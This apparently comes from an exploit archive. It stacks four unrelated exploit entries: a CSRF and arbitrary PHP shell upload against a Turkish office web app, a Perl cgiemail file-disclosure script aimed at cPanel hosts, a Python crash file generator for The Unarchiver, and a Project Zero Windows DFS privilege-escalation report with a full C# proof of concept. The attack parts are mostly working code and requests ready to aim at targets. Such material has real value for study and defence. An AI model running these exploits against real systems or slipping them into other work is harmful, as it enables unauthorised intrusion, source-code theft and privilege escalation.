Vulnerable URL = http://www.site_name/path/ofis/index.php?is=kullanici_tanimla

Vulnerable Parameter = &mesaj_baslik


TECHNICAL DETAILS & POC & POST DATA
========================================

POST /ofis/index.php?is=kullanici_tanimla HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0)
Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site_name/ofis/index.php?is=kullanici_tanimla
——
Content-Type: multipart/form-data;
boundary=---------------------------5035863528338
Content-Length: 1037

-----------------------------5035863528338
Content-Disposition: form-data; name="utf8"

✓
-----------------------------5035863528338
Content-Disposition: form-data; name="authenticity_token"

CFC7d00LWKQsSahRqsfD+e/mHLqbaVIXBvlBGe/KP+I=
-----------------------------5035863528338
Content-Disposition: form-data; name="kullanici_adi"

meryem
-----------------------------5035863528338
Content-Disposition: form-data; name="kullanici_sifresi"

meryem
-----------------------------5035863528338
Content-Disposition: form-data; name="kullanici_mail_adresi"
m@yop.com
-----------------------------5035863528338
Content-Disposition: form-data; name="MAX_FILE_SIZE"

30000
-----------------------------5035863528338
Content-Disposition: form-data; name="*kullanici_resmi*"; *filename*="shell.php"
Content-Type: application/octet-stream
*<?php
	phpinfo();

 ?>*
-----------------------------5035863528338
Content-Disposition: form-data; name="personel_maasi"

5200
-----------------------------5035863528338--


*CSRF PoC - File Upload (Shell.php)*

========================================

<html>
  <!-- CSRF PoC -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "
http://site_name/ofis/index.php?is=kullanici_tanimla", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------5035863528338");
        xhr.withCredentials = true;
        var body = "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"utf8\"\r\n" +
          "\r\n" +
          "\xe2\x9c\x93\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"authenticity_token\"\r\n"
+
          "\r\n" +
          "CFC7d00LWKQsSahRqsfD+e/mHLqbaVIXBvlBGe/KP+I=\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"kullanici_adi\"\r\n" +
          "\r\n" +
          "meryem\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"kullanici_sifresi\"\r\n"
+
          "\r\n" +
          "meryem\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"kullanici_mail_adresi\"\r\n" +
          "\r\n" +
          "m@yop.com\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
          "\r\n" +
          "30000\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"kullanici_resmi\"; filename=\"shell.php\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\x3c?php \r\n" +
          "\tphpinfo();\r\n" +
          "\r\n" +
          " ?\x3e\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"personel_maasi\"\r\n" +
          "\r\n" +
          "5200\r\n" +
          "-----------------------------5035863528338--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    <form action="#">
      <input type="button" value="Submit request"
onclick="submitRequest();" />
    </form>
  </body>
</html>

========================================

*Access File : *http://www.site_name/path/personel_resimleri/shell.php


RISK
========================================

Attacker can arbitrary file upload.


--

Besim ALTINOK
            
#!/usr/bin/env perl
# Exploit Title:    cgiemail local file inclusion
# Vendor Homepage:  http://web.mit.edu/wwwdev/cgiemail/webmaster.html
# Software Link:    http://web.mit.edu/wwwdev/cgiemail/cgiemail-1.6.tar.gz
# Version:          1.6 and older
# Date:             2016-09-27

# cgiecho a script included with cgiemail will return any file under a 
# websites document root if the file contains square brackets and the text
# within the brackets is guessable.

# cgiemail is currently shipped with cPanel and is enabled by default.

# Example: http://hostname/cgi-sys/cgiecho/login.php?'pass'=['pass'] 
#          will display http://hostname/login.php if login.php contains $_POST['pass']




##
# cgiemail local file inclusion exploit
# Author: Finbar Crago <finbar.crago@gmail.com>
# https://github.com/finbar-crago/cgiemail-exploit
##
use strict;
use warnings;
use POSIX;
use LWP::UserAgent;
use HTML::Entities;
use Getopt::Long;
$|++; $\="\n"; $,=" ";

sub usage {
die <<"EOF";

cgiemail local file inclusion exploit

Usage: $0 [options] target

Options:
  --names         Check for names in commer separated list
  --num           Check for numbers
  --num-max       Maximum number to check (default 10)
  --batch         Number of arguments sent per request (default 10)
  --cgiecho-path  Path of cgiecho on server (default '/cgi-sys/cgiecho/')
  --user-agent    Set user-agent (default 'Mozilla/5.0')
  --deley         Pause between requests in seconds (default 1)
  --timeout       Set connection timeout (default 10)

Example:
  $0 --num --names 'email,password' http://hostname/login.php > login.php

EOF
}

my $names;
my $num = 0;
my $num_max = 10; 
my $batch = 10;
my $cgiecho_path = '/cgi-sys/cgiecho';
my $user_agent = 'Mozilla/5.0';
my $timeout = 10;
my $deley = 1;
GetOptions(
    'names=s'      => \$names,
    'num'          => \$num,
    'num-max=i'    => \$num_max,
    'batch=i'      => \$batch,

    'cgiecho-path' => \$cgiecho_path,
    'user-agent=s' => \$user_agent,
    'deley=i'      => \$deley,
    'timeout=i'    => \$timeout,
);

usage unless
    defined $ARGV[0] &&
    $ARGV[0] =~ m|^(https?://)?([a-z\d.-]+)/?(.*)?|i;

my $conn=$1||'http://';my $host=$2;my $path=$3||'index.php';
my $url = "$conn$host/$cgiecho_path/$path";
my @list= ();

if($num){ push @list, $_ for 0..$num_max }
if($names){
    push @list, "%22$_%22","%27$_%27" for split/,/,$names;
}


my $ua = LWP::UserAgent->new;
$ua->agent($user_agent);
$ua->timeout($timeout);

$batch--;
my $i=0;
my $end = ceil($#list/$batch);
while($#list+1){
    my $args='?';
    my $to = ($#list > $batch)?$batch:$#list;
    $args.="$_=[$_]&" for @list[0..$to];
    @list = @list[$to+1..$#list];

    my $res = $ua->get($url.$args);
    die $res->status_line if !$res->content_is_html;
    my $html = $res->decoded_content;
    if($html !~ />cgiemail[\n\r ]*([\d.]+)/){
	print "cgiemail not found"  if !$i;
	print "cgiemail was here but now it's not..." if $i;
	exit -1;
    } print STDERR "detected cgiemail $1" if !$i;

    print STDERR "\e[Jrequest ".++$i." of $end...";

    if($res->code == 200){
	$html =~ m|<PRE>(.+)</PRE>|s;
	print decode_entities($1);
	print STDERR "success!";
	exit;
    }

    if($res->code == 500){
	if($html =~ m|500 Could not open template - No such file or directory|){
	    print STDERR "the file /$path doesn't exist...";
	} 
	elsif($html =~ m|500 Empty template file|){
	    print STDERR "/$path is a directory...";
	}
	else{
	    print STDERR "unknown 500 error:";
	    print STDERR $html;
	}
	exit -1;
    }

    select(undef,undef,undef,$deley); printf "\eM";
}
print STDERR "sorry, no match found for $path";
exit -1;
            
# Exploit Title: The Unarchiver 3.11.1 '.tar.Z' Local Crash PoC
# Date: 10-17-2016
# Exploit Author: Antonio Z.
# Vendor Homepage: http://unarchiver.c3.cx/unarchiver
# Software Link: http://unarchiver.c3.cx/downloads/TheUnarchiver3.11.1.zip
# Version: 3.11.1
# Tested on: OS X 10.10, OS X 10.11, OS X 10.12

# More information: https://opensource.apple.com/source/gnuzip/gnuzip-11/gzip/lzw.h

import os, struct, sys
from mmap import mmap

if len(sys.argv) <= 1:
    print "Usage: python Local_Crash_PoC.py [file name]"
    exit()

file_name = sys.argv[1]
file_mod = open(file_name, 'r+b')
file_hash = file_mod.read()

def get_extension(file_name):
    basename = os.path.basename(file_name)
    extension = '.'.join(basename.split('.')[1:])
    return '.' + extension if extension else None

def file_maping():
    maping = mmap(file_mod.fileno(),0)
    maping.seek(2)
    maping.write_byte(struct.pack('B', 255))
    maping.close()
    
new_file_name = "Local_Crash_PoC" + get_extension(file_name)
    
os.popen('cp ' + file_name + ' ' + new_file_name)
file_mod = open(new_file_name, 'r+b')
file_maping()
file_mod.close()
print '[+] ' + 'Created file: ' + new_file_name
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=885

Windows: DFS Client Driver Arbitrary Drive Mapping EoP
Platform: Windows 10 10586, Edge 25.10586.0.0 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The DFS Client driver and running by default insecurely creates and deletes drive letter symbolic links in the current user context leading to EoP.

Description:

The DFS Client driver is used to map DFS shares. The device path is accessible by a normal user and the two IOCTL DfscFsctrlCreateDriveLetter and DfscFsctrlRemoveDriveLetter are marked as FILE_ANY_ACCESS so even through we only have read permission on the device they’re allowed.

When mapping a DFS share the driver calls DfscCreateSymbolicLink to create a drive letter symbolic link. The drive letter is entirely under the user’s control and other than checking it’s a letter no other verification takes place. This function calls ZwCreateSymbolicLinkObject without specifying OBJ_FORCE_ACCESS_CHECK meaning it disables access checking. As it’s creating the name \??\X: rather than an explicit directory we can use per-process device maps to trick the driver into creating the symbolic link in any directory the user has read access to (the only limit on setting a per-process device map).

In contrast when unmapping DfscDeleteSymbolicLink is called which calls ZwOpenSymbolicLinkObject without specifying OBJ_FORCE_ACCESS_CHECK. This means we can delete any drive letter symbolic link by first mounting a DFS share with a drive letter we want to delete, then either removing the letter from our current user dos devices directory, or switching our per-process drive map to point to \GLOBAL?? then unmapping.

By combining the two we can do something like deleting the C: drive, then mounting a DFS share in its place and get some system level code to run something from the C: drive to get elevated privileges. We don’t even need to control the DFS share as once we’ve created the new C: drive symbolic link we have delete privileges on the object. We can use a behaviour of CSRSS’s DosDevice creation code which disables security if it can open the symbolic link for DELETE access while impersonating the user and the path to the link starts with \GLOBAL??. So we could redirect the C: drive link to any local location we like.

Worth nothing this is almost the exact same bug I found in Truecrypt (https://bugs.chromium.org/p/project-zero/issues/detail?id=538). At least they tried to not mount over existing drive letters requiring more effort :-)

I’ve not been able to work out if it’s possible to do this without requiring a DFS share (although for an internet connected system you might be able to point it at almost anywhere). I also don’t know if it needs to be domain joined, the driver is running though on a normal system. It seems to fail verifying the credentials, at least pointed to localhost SMB service. But perhaps it’ll work somehow. 

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile with .NET 4 or higher. Note you must compile as Any CPU or at least the correct bitness for the system under test other setting the dos devices directory has a habit of failing. You’ll need to have access to a DFS share somewhere, which might mean the test system needs to be domain joined. 

The PoC will just delete an existing drive mapping you specify. For example you could specify C: drive, although that’ll make the system not work so well afterwards. 

1) Compile the C# source code file.
2) Execute the poc passing the path to an existing DFS share and the drive letter to delete e.g. poc \\server\share X:
3) It should successfully delete the drive letter from \GLOBAL??. 

Expected Result:
Create drive letter anywhere the user can’t normally access should fail

Observed Result:
The user can create and delete arbitrary global drive letters.
*/

using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.AccessControl;
using System.Text;

namespace DfscTest
{
    class Program
    {
        [Flags]
        public enum AttributeFlags : uint
        {
            None = 0,
            Inherit = 0x00000002,
            Permanent = 0x00000010,
            Exclusive = 0x00000020,
            CaseInsensitive = 0x00000040,
            OpenIf = 0x00000080,
            OpenLink = 0x00000100,
            KernelHandle = 0x00000200,
            ForceAccessCheck = 0x00000400,
            IgnoreImpersonatedDevicemap = 0x00000800,
            DontReparse = 0x00001000,
        }

        public class IoStatus
        {
            public IntPtr Pointer;
            public IntPtr Information;

            public IoStatus()
            {
            }

            public IoStatus(IntPtr p, IntPtr i)
            {
                Pointer = p;
                Information = i;
            }
        }

        [Flags]
        public enum ShareMode
        {
            None = 0,
            Read = 0x00000001,
            Write = 0x00000002,
            Delete = 0x00000004,
        }

        [Flags]
        public enum FileOpenOptions
        {
            None = 0,
            DirectoryFile = 0x00000001,
            WriteThrough = 0x00000002,
            SequentialOnly = 0x00000004,
            NoIntermediateBuffering = 0x00000008,
            SynchronousIoAlert = 0x00000010,
            SynchronousIoNonAlert = 0x00000020,
            NonDirectoryFile = 0x00000040,
            CreateTreeConnection = 0x00000080,
            CompleteIfOplocked = 0x00000100,
            NoEaKnowledge = 0x00000200,
            OpenRemoteInstance = 0x00000400,
            RandomAccess = 0x00000800,
            DeleteOnClose = 0x00001000,
            OpenByFileId = 0x00002000,
            OpenForBackupIntent = 0x00004000,
            NoCompression = 0x00008000,
            OpenRequiringOplock = 0x00010000,
            ReserveOpfilter = 0x00100000,
            OpenReparsePoint = 0x00200000,
            OpenNoRecall = 0x00400000,
            OpenForFreeSpaceQuery = 0x00800000
        }

        [Flags]
        public enum GenericAccessRights : uint
        {
            None = 0,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        };


        [Flags]
        enum DirectoryAccessRights : uint
        {
            Query = 1,
            Traverse = 2,
            CreateObject = 4,
            CreateSubDirectory = 8,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [Flags]
        public enum ProcessAccessRights : uint
        {
            None = 0,
            CreateProcess = 0x0080,
            CreateThread = 0x0002,
            DupHandle = 0x0040,
            QueryInformation = 0x0400,
            QueryLimitedInformation = 0x1000,
            SetInformation = 0x0200,
            SetQuota = 0x0100,
            SuspendResume = 0x0800,
            Terminate = 0x0001,
            VmOperation = 0x0008,
            VmRead = 0x0010,
            VmWrite = 0x0020,
            MaximumAllowed = GenericAccessRights.MaximumAllowed
        };

        [Flags]
        public enum FileAccessRights : uint
        {
            None = 0,
            ReadData = 0x0001,
            WriteData = 0x0002,
            AppendData = 0x0004,
            ReadEa = 0x0008,
            WriteEa = 0x0010,
            Execute = 0x0020,
            DeleteChild = 0x0040,
            ReadAttributes = 0x0080,
            WriteAttributes = 0x0100,
            GenericRead = 0x80000000,
            GenericWrite = 0x40000000,
            GenericExecute = 0x20000000,
            GenericAll = 0x10000000,
            Delete = 0x00010000,
            ReadControl = 0x00020000,
            WriteDac = 0x00040000,
            WriteOwner = 0x00080000,
            Synchronize = 0x00100000,
            MaximumAllowed = 0x02000000,
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class UnicodeString
        {
            ushort Length;
            ushort MaximumLength;
            [MarshalAs(UnmanagedType.LPWStr)]
            string Buffer;

            public UnicodeString(string str)
            {
                Length = (ushort)(str.Length * 2);
                MaximumLength = (ushort)((str.Length * 2) + 1);
                Buffer = str;
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtClose(IntPtr handle);

        public sealed class SafeKernelObjectHandle
          : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeKernelObjectHandle()
              : base(true)
            {
            }

            public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
              : base(owns_handle)
            {
                SetHandle(handle);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    NtClose(this.handle);
                    this.handle = IntPtr.Zero;
                    return true;
                }
                return false;
            }
        }

        public enum SecurityImpersonationLevel
        {
            Anonymous = 0,
            Identification = 1,
            Impersonation = 2,
            Delegation = 3
        }

        public enum SecurityContextTrackingMode : byte
        {
            Static = 0,
            Dynamic = 1
        }

        [StructLayout(LayoutKind.Sequential)]
        public sealed class SecurityQualityOfService
        {
            int Length;
            public SecurityImpersonationLevel ImpersonationLevel;
            public SecurityContextTrackingMode ContextTrackingMode;
            [MarshalAs(UnmanagedType.U1)]
            public bool EffectiveOnly;

            public SecurityQualityOfService()
            {
                Length = Marshal.SizeOf(this);
            }
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        public sealed class ObjectAttributes : IDisposable
        {
            int Length;
            IntPtr RootDirectory;
            IntPtr ObjectName;
            AttributeFlags Attributes;
            IntPtr SecurityDescriptor;
            IntPtr SecurityQualityOfService;

            private static IntPtr AllocStruct(object s)
            {
                int size = Marshal.SizeOf(s);
                IntPtr ret = Marshal.AllocHGlobal(size);
                Marshal.StructureToPtr(s, ret, false);
                return ret;
            }

            private static void FreeStruct(ref IntPtr p, Type struct_type)
            {
                Marshal.DestroyStructure(p, struct_type);
                Marshal.FreeHGlobal(p);
                p = IntPtr.Zero;
            }

            public ObjectAttributes() : this(AttributeFlags.None)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null)
            {
            }

            public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null)
            {
            }

            public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null)
            {
            }

            public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor)
            {
                Length = Marshal.SizeOf(this);
                if (object_name != null)
                {
                    ObjectName = AllocStruct(new UnicodeString(object_name));
                }
                Attributes = attributes;
                if (sqos != null)
                {
                    SecurityQualityOfService = AllocStruct(sqos);
                }
                if (root != null)
                    RootDirectory = root.DangerousGetHandle();
                if (security_descriptor != null)
                {
                    byte[] sd_binary = new byte[security_descriptor.BinaryLength];
                    security_descriptor.GetBinaryForm(sd_binary, 0);
                    SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length);
                    Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length);
                }
            }

            public void Dispose()
            {
                if (ObjectName != IntPtr.Zero)
                {
                    FreeStruct(ref ObjectName, typeof(UnicodeString));
                }
                if (SecurityQualityOfService != IntPtr.Zero)
                {
                    FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService));
                }
                if (SecurityDescriptor != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(SecurityDescriptor);
                    SecurityDescriptor = IntPtr.Zero;
                }
                GC.SuppressFinalize(this);
            }

            ~ObjectAttributes()
            {
                Dispose();
            }
        }

        [DllImport("ntdll.dll")]
        public static extern int NtOpenFile(
            out IntPtr FileHandle,
            FileAccessRights DesiredAccess,
            ObjectAttributes ObjAttr,
            [In] [Out] IoStatus IoStatusBlock,
            ShareMode ShareAccess,
            FileOpenOptions OpenOptions);

        public static void StatusToNtException(int status)
        {
            if (status < 0)
            {
                throw new NtException(status);
            }
        }

        public class NtException : ExternalException
        {
            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern IntPtr GetModuleHandle(string modulename);

            [Flags]
            enum FormatFlags
            {
                AllocateBuffer = 0x00000100,
                FromHModule = 0x00000800,
                FromSystem = 0x00001000,
                IgnoreInserts = 0x00000200
            }

            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            private static extern int FormatMessage(
              FormatFlags dwFlags,
              IntPtr lpSource,
              int dwMessageId,
              int dwLanguageId,
              out IntPtr lpBuffer,
              int nSize,
              IntPtr Arguments
            );

            [DllImport("kernel32.dll")]
            private static extern IntPtr LocalFree(IntPtr p);

            private static string StatusToString(int status)
            {
                IntPtr buffer = IntPtr.Zero;
                try
                {
                    if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,
                        GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)
                    {
                        return Marshal.PtrToStringUni(buffer);
                    }
                }
                finally
                {
                    if (buffer != IntPtr.Zero)
                    {
                        LocalFree(buffer);
                    }
                }
                return String.Format("Unknown Error: 0x{0:X08}", status);
            }

            public NtException(int status) : base(StatusToString(status))
            {
            }
        }

        public class SafeHGlobalBuffer : SafeHandleZeroOrMinusOneIsInvalid
        {
            public SafeHGlobalBuffer(int length)
              : this(Marshal.AllocHGlobal(length), length, true)
            {
            }

            public SafeHGlobalBuffer(IntPtr buffer, int length, bool owns_handle)
              : base(owns_handle)
            {
                Length = length;
                SetHandle(buffer);
            }

            public int Length
            {
                get; private set;
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    Marshal.FreeHGlobal(handle);
                    handle = IntPtr.Zero;
                }
                return true;
            }
        }

        public class SafeStructureBuffer : SafeHGlobalBuffer
        {
            Type _type;

            public SafeStructureBuffer(object value) : base(Marshal.SizeOf(value))
            {
                _type = value.GetType();
                Marshal.StructureToPtr(value, handle, false);
            }

            protected override bool ReleaseHandle()
            {
                if (!IsInvalid)
                {
                    Marshal.DestroyStructure(handle, _type);
                }
                return base.ReleaseHandle();
            }
        }

        public class SafeStructureOutBuffer<T> : SafeHGlobalBuffer
        {
            public SafeStructureOutBuffer() : base(Marshal.SizeOf(typeof(T)))
            {
            }

            public T Result
            {
                get
                {
                    if (IsInvalid)
                        throw new ObjectDisposedException("handle");

                    return Marshal.PtrToStructure<T>(handle);
                }
            }
        }

        public static SafeFileHandle OpenFile(string name, FileAccessRights DesiredAccess, ShareMode ShareAccess, FileOpenOptions OpenOptions, bool inherit)
        {
            AttributeFlags flags = AttributeFlags.CaseInsensitive;
            if (inherit)
                flags |= AttributeFlags.Inherit;
            using (ObjectAttributes obja = new ObjectAttributes(name, flags))
            {
                IntPtr handle;
                IoStatus iostatus = new IoStatus();
                int status = NtOpenFile(out handle, DesiredAccess, obja, iostatus, ShareAccess, OpenOptions);
                StatusToNtException(status);
                return new SafeFileHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        public static extern int NtDeviceIoControlFile(
          SafeFileHandle FileHandle,
          IntPtr Event,
          IntPtr ApcRoutine,
          IntPtr ApcContext,
          [Out] IoStatus IoStatusBlock,
          uint IoControlCode,
          byte[] InputBuffer,
          int InputBufferLength,
          byte[] OutputBuffer,
          int OutputBufferLength
        );

        [DllImport("ntdll.dll")]
        public static extern int NtFsControlFile(
          SafeFileHandle FileHandle,
          IntPtr Event,
          IntPtr ApcRoutine,
          IntPtr ApcContext,
          [Out] IoStatus IoStatusBlock,
          uint FSControlCode,
          [In] byte[] InputBuffer,
          int InputBufferLength,
          [Out] byte[] OutputBuffer,
          int OutputBufferLength
        );

        [DllImport("ntdll.dll")]
        static extern int NtCreateDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        [DllImport("ntdll.dll")]
        static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);

        const int ProcessDeviceMap = 23;
        
        [DllImport("ntdll.dll")]
        static extern int NtSetInformationProcess(
	        IntPtr ProcessHandle,
	        int ProcessInformationClass,
            byte[] ProcessInformation,
            int ProcessInformationLength);
        
        const uint CREATE_DRIVE_LETTER = 0x601E0;
        const uint DELETE_DRIVE_LETTER = 0x601E4;

        [StructLayout(LayoutKind.Sequential)]
        struct DFsCreateDriveParameters
        {
            public ushort unk0;    // 0
            public ushort flags;    // 1
            public uint   some_cred_value;    // 2            
            public ushort drive_path_length;    // 4  - Length of drive letter path
            public ushort dfs_path_length;    // 5 - Can't be zero, think this is length of DFS path
            public ushort creds_length;    // 6
            public ushort password_length;    // 7 - If set this + 2 must be < length 3
            public ushort length_5;    // 8
            public ushort length_6;    // 9
            // From here is the data            
        }

        static byte[] StructToBytes(object o)
        {
            int size = Marshal.SizeOf(o);
            IntPtr p = Marshal.AllocHGlobal(size);
            try
            {
                Marshal.StructureToPtr(o, p, false);
                byte[] ret = new byte[size];
                Marshal.Copy(p, ret, 0, size);
                return ret;
            }
            finally
            {
                if (p != IntPtr.Zero)
                    Marshal.FreeHGlobal(p);
            }
        }

        static byte[] GetBytes(string s)
        {
            return Encoding.Unicode.GetBytes(s + "\0");
        }

        static void MountDfsShare(string dfs_path, string drive_path)
        {
            using (SafeFileHandle handle = OpenFile(@"\Device\DfsClient", FileAccessRights.MaximumAllowed, ShareMode.None, FileOpenOptions.None, false))
            {
                IoStatus status = new IoStatus();

                byte[] dfs_path_bytes = GetBytes(dfs_path);
                byte[] drive_path_bytes = GetBytes(drive_path);
                DFsCreateDriveParameters create_drive = new DFsCreateDriveParameters();

                create_drive.drive_path_length = (ushort)drive_path_bytes.Length;
                create_drive.dfs_path_length = (ushort)dfs_path_bytes.Length;

                List<byte> buffer = new List<byte>();
                buffer.AddRange(StructToBytes(create_drive));
                buffer.AddRange(drive_path_bytes);
                buffer.AddRange(dfs_path_bytes);

                StatusToNtException(NtFsControlFile(handle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, status, CREATE_DRIVE_LETTER, buffer.ToArray(), buffer.Count, new byte[0], 0));
            }
        }

        static void UnmountDfsShare(string drive_path)
        {
            using (SafeFileHandle handle = OpenFile(@"\Device\DfsClient", FileAccessRights.MaximumAllowed, ShareMode.None, FileOpenOptions.None, false))
            {
                List<byte> buffer = new List<byte>();
                buffer.AddRange(new byte[4]);
                buffer.AddRange(GetBytes(drive_path));                
                byte[] output_data = new byte[8];
                IoStatus status = new IoStatus();
                StatusToNtException(NtFsControlFile(handle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
                    status, DELETE_DRIVE_LETTER, buffer.ToArray(), buffer.Count, output_data, output_data.Length));
            }
        }

        static SafeKernelObjectHandle CreateDirectory(string path)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))
            {
                IntPtr handle;
                StatusToNtException(NtCreateDirectoryObject(out handle, DirectoryAccessRights.GenericAll, obja));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        static SafeKernelObjectHandle OpenDirectory(string path)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))
            {
                IntPtr handle;
                StatusToNtException(NtOpenDirectoryObject(out handle, DirectoryAccessRights.MaximumAllowed, obja));
                return new SafeKernelObjectHandle(handle, true);
            }
        }

        [DllImport("ntdll.dll")]
        static extern int NtOpenSymbolicLinkObject(
            out IntPtr LinkHandle,
            GenericAccessRights DesiredAccess,
            ObjectAttributes ObjectAttributes
        );

        [DllImport("ntdll.dll")]
        static extern int NtMakeTemporaryObject(SafeKernelObjectHandle ObjectHandle);

        static SafeKernelObjectHandle OpenSymbolicLink(SafeKernelObjectHandle directory, string path, GenericAccessRights access_rights)
        {
            using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null))
            {
                IntPtr handle;
                if (NtOpenSymbolicLinkObject(out handle, access_rights, obja) != 0)
                {
                    return null;
                }

                return new SafeKernelObjectHandle(handle, true);
            }
        }

        static void SetDosDirectory(SafeKernelObjectHandle directory)
        {
            IntPtr p = directory.DangerousGetHandle();
            byte[] data = null;
            if (IntPtr.Size == 4)
            {
                data = BitConverter.GetBytes(p.ToInt32());
            }
            else
            {
                data = BitConverter.GetBytes(p.ToInt64());
            }

            StatusToNtException(NtSetInformationProcess(new IntPtr(-1), ProcessDeviceMap, data, data.Length));
        }

        static void Main(string[] args)
        {
            try
            {
                if (args.Length < 2)
                {
                    Console.WriteLine(@"DeleteGlobalDrivePoC \\dfs\share X:");
                    return;
                }

                string dfs_path = args[0];
                string drive_path = args[1];

                if (!Path.IsPathRooted(dfs_path) || !dfs_path.StartsWith(@"\\"))
                    throw new ArgumentException("DFS path must be a UNC path");
                if (drive_path.Length != 2 || !Char.IsLetter(drive_path[0]) || drive_path[1] != ':')
                    throw new ArgumentException("Drive letter must of form X:");

                SafeKernelObjectHandle dir = CreateDirectory(null);

                SafeKernelObjectHandle global = OpenDirectory(@"\GLOBAL??");
                using (SafeKernelObjectHandle symlink = OpenSymbolicLink(global, drive_path, GenericAccessRights.GenericRead))
                {
                    if (symlink == null)
                    {
                        Console.WriteLine("[ERROR]: Drive letter does existing in global device directory");
                        return;
                    }                    
                }

                SetDosDirectory(dir);
                MountDfsShare(dfs_path, drive_path);
                SetDosDirectory(global);
                UnmountDfsShare(drive_path);

                using (SafeKernelObjectHandle symlink = OpenSymbolicLink(global, drive_path, GenericAccessRights.GenericRead))
                {
                    if (symlink == null)
                    {
                        Console.WriteLine("[SUCCESS]: Deleted the {0} symlink", drive_path);
                    }
                    else
                    {
                        Console.WriteLine("[ERROR]: Symlink still in global directory");
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("[ERROR]: {0}", ex.Message);
            }
        }
    }
}
            

